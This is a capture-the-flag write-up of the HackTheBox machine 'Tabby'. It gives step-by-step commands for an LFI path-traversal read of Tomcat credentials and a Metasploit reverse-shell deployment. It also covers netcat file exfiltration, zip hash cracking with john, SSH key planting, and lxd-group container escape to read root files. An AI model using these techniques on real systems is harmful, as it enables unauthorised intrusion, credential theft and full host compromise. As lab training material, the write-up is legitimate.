HTB: Tabby

Posted on 10 Nov 2020 in security • 7 min read

Tabby Card

This article is a writeup about a retired HacktheBox machine: Tabby publish on June 20 2020 by egree55. This box is rated as an easy box. The user part implies a Local File Inclusion (LFI) and the tomcat manager. The root part implies LXC/LXD (Linux kernel containment).

User part


Let us start as always by a nmap scan. As often with Windows Boxes, a lot of port are open. A few interesting services are up:

  • SSH on port 22
  • a Web service on port 80
  • a Web service (Tomcat) on port 8080

Here is the full nmap scan:

# Nmap 7.80 scan initiated Sun Jun 21 09:30:32 2020 as: nmap -p- -sSV -oN nmap
Nmap scan report for
Host is up (0.080s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http    Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


On port 8080 we have access to the tomcat administration component but we need some credentials to access them.

The main website is about hosting services but we quickly notice that the page news.php has a file parameter.

We manipulate the file and changing it to ../../../../../../../../etc/passwd allows us to access the content of the file. We have a LFI and we want to use it in order to access the tomcat users' file.

We try the location mentioned on the page but the file is not accessible. We need more information.

We know that the server is an Ubuntu (look at the banner in the nmap scan).

We look at the files from the tomcat9-admin package on the website

Therefore we get the manager.xml file but there is nothing interesting:

GET /news.php?file=../../../../../../../etc/tomcat9/Catalina/localhost/manager.xml HTTP/1.1
Host: megahosting.htb
Connection: close
Content-Length: 2

<Context path="/manager"
  antiResourceLocking="false" privileged="true" />

We look at the files from the tomcat9 package still on the website.

This time we will try to get the tomcat-users.xml file. This give an user and its password. We also notice that its permissions are for the admin-gui and manager-scrit NOT the classic manager-gui.

GET /news.php?file=../../../../../../..//usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1
Host: megahosting.htb
Connection: close
Content-Length: 2

  <role rolename="admin-gui"/>
  <role rolename="manager-script"/>
  <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

As we are lazy, we fire up metasploit, load the tomcat_mgr_deploy module and set the different option. As we have the permission for manager-script we just need to specify that our PATH is /manager/text instead of manager. We also need to set the target to Java Universal and the payload to java/shell_reverse_tcp.

msf5 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

  Name          Current Setting     Required  Description
  ----          ---------------     --------  -----------
  HttpPassword  $3cureP4s5w0rd123!  no        The password for the specified username
  HttpUsername  tomcat              no        The username to authenticate as
  PATH          /manager/text       yes       The URI path of the manager app (/deploy and /undeploy will be used)
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         8080                yes       The target port (TCP)
  SSL           false               no        Negotiate SSL/TLS for outgoing connections
  VHOST         megahosting.htb     no        HTTP server virtual host

Payload options (java/shell_reverse_tcp):

  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  LHOST     yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port

Exploit target:

  Id  Name
  --  ----
  1   Java Universal

Then we can run the exploit and get a simple shell on the box as the tomcatuser.

msf5 exploit(multi/http/tomcat_mgr_deploy) > run

[*] Started reverse TCP handler on
[*] Using manually select target "Java Universal"
[*] Uploading 13418 bytes as KFEu1gbH8s1QeOlaSH3qHMNO1H4.war ...
[*] Executing /KFEu1gbH8s1QeOlaSH3qHMNO1H4/u2A5WGIIbSw.jsp...
[*] Undeploying KFEu1gbH8s1QeOlaSH3qHMNO1H4 ...
[*] Command shell session 3 opened ( -> at 2020-06-21 12:36:01 -0400

uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

We know from the statement on the main website (port 80) that there was a breach. Therefore we got the main website's directory in /var/www/html. We found a zip archive in the files directory. We transfer it to our kali box using netcat (we run nc -l -p 1234 > on our kali box).

cd /var/www/html
ls files
nc -w 3 1234 <files/
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

We use zip2john to get a proper hash to crack and run john with the rockyou dictionary and a few rules. We quickly get the admin@it password and are able to extract the archive content.

$ zip2john > hash is not encrypted!
ver 1.0 is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

$ john hash -w=~/tools/password_lists/rockyou.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it         (
1g 0:00:00:01 DONE (2020-06-21 14:11) 0.6289g/s 6522Kp/s 6522Kc/s 6522KC/s adnbrie..adambossmaster
Use the "--show" option to display all of the cracked passwords reliably
Session completed

As the content of the zip file is useless we "quickly" think about password reuse. In order to use su we need an better shell. As python is not installed on the box we just use perl. Once we have a use shell we got to the home directory and grab the user's flag.

python -c 'import pty; pty.spawn("/bin/sh")'
/bin/sh: 2: python: not found
perl -e 'exec "/bin/sh";'
su ash
Password: admin@it
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)


Now that we have a shell as ash we can just create a .ssh directory and put our SSH public key in the .ssh/authorized_keys file.

ls .ssh/
ls: cannot access '.ssh/': No such file or directory
mkdir .ssh/
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwES5PQLnAtM0JMAE4oyfsjruyj2bxjqZM55N5iMOGzqWt67KzQdbZYzRK5bvauo8xXtKEzzdvLNPHq0cS7v3vTiEIU3EcJGU1jjDN7tiUpUhc+KvVE0gR5JcScwGy8HSYI/PvbHiMSSH7e25r76G5EUpkxwjs4u+Kul7/24oMSvwLlI5u7R9OPTuMplfeLppp/EbVtNa/bWjFZ3CFFWFVyux/1ig16VaQXZxXJSGmElrAVUnA3eQbZYhs3ApavTnVmejz39BgNAoW0cPcXxM8t4ovNLdLxGPF728eFqABnOB/DFHkvK6oD8pdRL6IQYa5kYWx445aHZattAPv5JpGi0+Kt+kC1ZJPwn0trw2FceTOEcNhQlQ7jyAcWAUUCEMFIaJ6r85jHP0WWavCA39XwpicH/XymMBKppywqQ9+Z2GEY0MsnIvbYedkduXxCi6FrRvtWVNkI7GS52txVRvBy5U7LtwYs1DWH0tC+0C+/l+GbUTIw68Gw2msvu5HTHH+8KWxnBjwxqxySK7dXcrEJ+ZZO5HrJWJ2Gyds6CwSq9E8wo+ylkgR+4VvRq4Fc+QiQLp7WTeACo19LpC9n3z1LuQH9E0jSZGqNugO1PRzsN2HrD7VsOC0Go8+UoYGzVyrMnmR58xxDUGyXCxxss7bB6ZCB8bPGPDkQXDHpEhkeQ== kali@kali' > .ssh/authorized_keys

We can now connect to the box using SSH.

When looking at our groups we saw that we are in the lxd group. This can lead to a "quick" privilege escalation.

ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

On our kali box we clone and build the Alpine image then we copy it to the box.

kali@kali:~$ git clone
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Receiving objects: 100% (27/27), 16.00 KiB | 4.00 MiB/s, done.
Resolving deltas: 100% (6/6), done.
kali@kali:~$ cd lxd-alpine-builder/
kali@kali:~/lxd-alpine-builder$ sudo ./build-alpine -a i686
[sudo] password for kali:
Determining the latest release... v3.12
Using static apk from

kali@kali:~/lxd-alpine-builder$ scp -r alpine-v3.12-i686-20200621_1247.tar.gz  ash@

We try to import the Alpine image but LXD is not initialize so we use lxc init to initialize the environment with the default values.

ash@tabby:/tmp/.plop$ lxc image import ./alpine-v3.12-i686-20200621_1247.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

Image imported with fingerprint: c88a85d7bdacce8f8acc47713ad553e76b3fbb7d7027ba3cd5479e6085bba865
ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
ash@tabby:/tmp/.plop$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]: ^[
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

Then we can initialize our container, mount the whole disk on the container image and grab the root flag.

ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
ash@tabby:/tmp/.plop$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
ash@tabby:/tmp/.plop$ lxc start mycontainer
ash@tabby:/tmp/.plop$ lxc exec mycontainer /bin/sh
~ # ls /mnt/root/
bin/         cdrom/       etc/         lib/         lib64/       lost+found/  mnt/         proc/        run/         snap/        swap.img     tmp/         var/
boot/        dev/         home/        lib32/       libx32/      media/       opt/         root/        sbin/        srv/         sys/         usr/
~ # ls /mnt/root/root/
root.txt  snap
~ # cat /mnt/root/root/root.txt

We don't have a root shell for that we will need to modify /etc/shadow in order to modify the root password as we already did on the cache box.

Wrapping up

This box was quit easy. The password reuse take me more time to realize as it should have been. I recommend this box to beginners.